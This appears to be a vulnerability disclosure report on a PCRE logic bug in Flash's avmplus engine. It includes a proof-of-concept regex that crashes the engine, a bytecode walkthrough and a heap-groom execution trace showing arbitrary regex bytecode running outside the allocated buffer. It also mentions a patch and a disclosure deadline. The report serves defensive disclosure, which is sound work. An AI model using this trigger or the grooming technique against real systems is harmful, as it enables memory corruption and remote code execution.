There’s a logic error in the PCRE engine version used in Flash that allows the execution of arbitrary PCRE bytecode, with potential for memory corruption and RCE. 

The issue is in the handling of the \c escape sequence (single ascii character) when followed by a multibyte utf8 character. The resulting bytecode will be treated differently by several code paths in pcre_compile.cpp, resulting in several interesting possibilities.

Simplest testcase that will crash in an ASAN build of of avmshell is the following:

\\c\xd0\x80+(?1)

The first component is a forced-ascii literal, which then takes the first byte of our multibyte character

\       <---- start of escape sequence
c       <---- single ascii character
\xd0    <---- this must be our ascii character

\x80    <---- look, another single character
+       <---- simplify this expression to a repeated \x80

At this point, our emitted bytecode is the following:

OP_BRA  <---- (1) standard opening for start of regex
OP_CHAR <---- (2) one character
\xd0
OP_PLUS <---- (3) one character, repeated
\x80

Now when we get to (?1), we need to search for group number one. The search proceeds as follows:

OP_BRA  <---- (1) this is not our group, it doesn't capture

OP_CHAR <---- (2) a character, we need to check if it's multibyte
\xd0    <------------- it's a multibyte utf8 character
OP_PLUS <------------- better skip the second byte

\x80    <---- (3) don't know this one - let's go look up how long it is in our lookup table...

Highest opcode is 109, so we read off the end of the lookup table.

We can abuse this on a normal non-ASAN build; after the array is a table of strings; and _pcre_OP_length[0x80] will return us an instruction length of 110

+ 110   <---- (4) somewhere on the heap...

Search then proceeds until we find the right bytecode for the group we were looking for, or finds OP_END or a NULL. It then fills in the opcode for a jump out to where it found that group.

See attached for an execution trace demonstrating a heap-groom and arbitrary regex bytecode execution (the regex used is slightly different to the above poc). Prior to this trace, a groom has been performed to leave a gap of size 335 followed by a crafted buffer.

compile_branch  <---- first compile to establish length of regex
start_byte 41 (A)
start_byte 41 (A)
… snip …
start_byte 41 (A)
start_byte 41 (A)
start_byte 28 (()
compile_branch
start_byte 5c (\)
start_byte 80 (�)
start_byte 2a (*)
start_byte 29 ())
start_byte 3f (?)
start_byte 28 (()
start_byte 00 ()
malloc(335) [0x602a0001c8e0 - 0x602a0001ca2f] <--- note legitimate buffer ends at ca2f
compile_branch <---- second compile to produce regex bytecode in the buffer allocated above
start_byte 41 (A)
start_byte 41 (A)
… snip ...
start_byte 41 (A)
start_byte 41 (A)
start_byte 28 (()
compile_branch
start_byte 5c (\)
start_byte 80 (�)
start_byte 2a (*)
start_byte 29 ())
start_byte 3f (?)
start_byte 28 (()
from here1
code 0x602a0001c910 93 3 <---- print in find_bracket, last no. is _pcre_OP_lengths[c]
code 0x602a0001c913 27 2
code 0x602a0001c915 27 2
… snip ...
code 0x602a0001ca0f 27 2
code 0x602a0001ca11 27 2
code 0x602a0001ca13 102 1
code 0x602a0001ca14 94 1
code 0x602a0001ca19 27 2
code 0x602a0001ca1c 30 2
code 0x602a0001ca1e 128 110 <---- whoops
code 0x602a0001ca8c 35 2    <---- now outside legitimate heap buffer
code 0x602a0001ca8e 35 2
… snip ...
exec 0x602a0001c910 93 [0x601a0000cea0] <--- regex execution starts
exec 0x602a0001c913 27 [0x601a0000cea0]
exec 0x602a0001c915 27 [0x601a0000cea1]
… snip ....
exec 0x602a0001ca0f 27 [0x601a0000cf1e]
exec 0x602a0001ca11 27 [0x601a0000cf1f]
exec 0x602a0001ca13 102 [0x601a0000cf20]
exec 0x602a0001ca14 94 [0x601a0000cf20]
exec 0x602a0001ca19 27 [0x601a0000cf20]
exec 0x602a0001ca22 92 [0x601a0000cf20]
exec 0x602a0001ca25 81 [0x601a0000cf20]
exec 0x602a0001cae9 35 [0x601a0000cf20] <--- regex execution in our buffer of ‘#’
exec 0x602a0001caeb 35 [0x601a0000cf20]

A patch for this issue against the github avmplus source is attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

cunicode.patch 433 bytes Download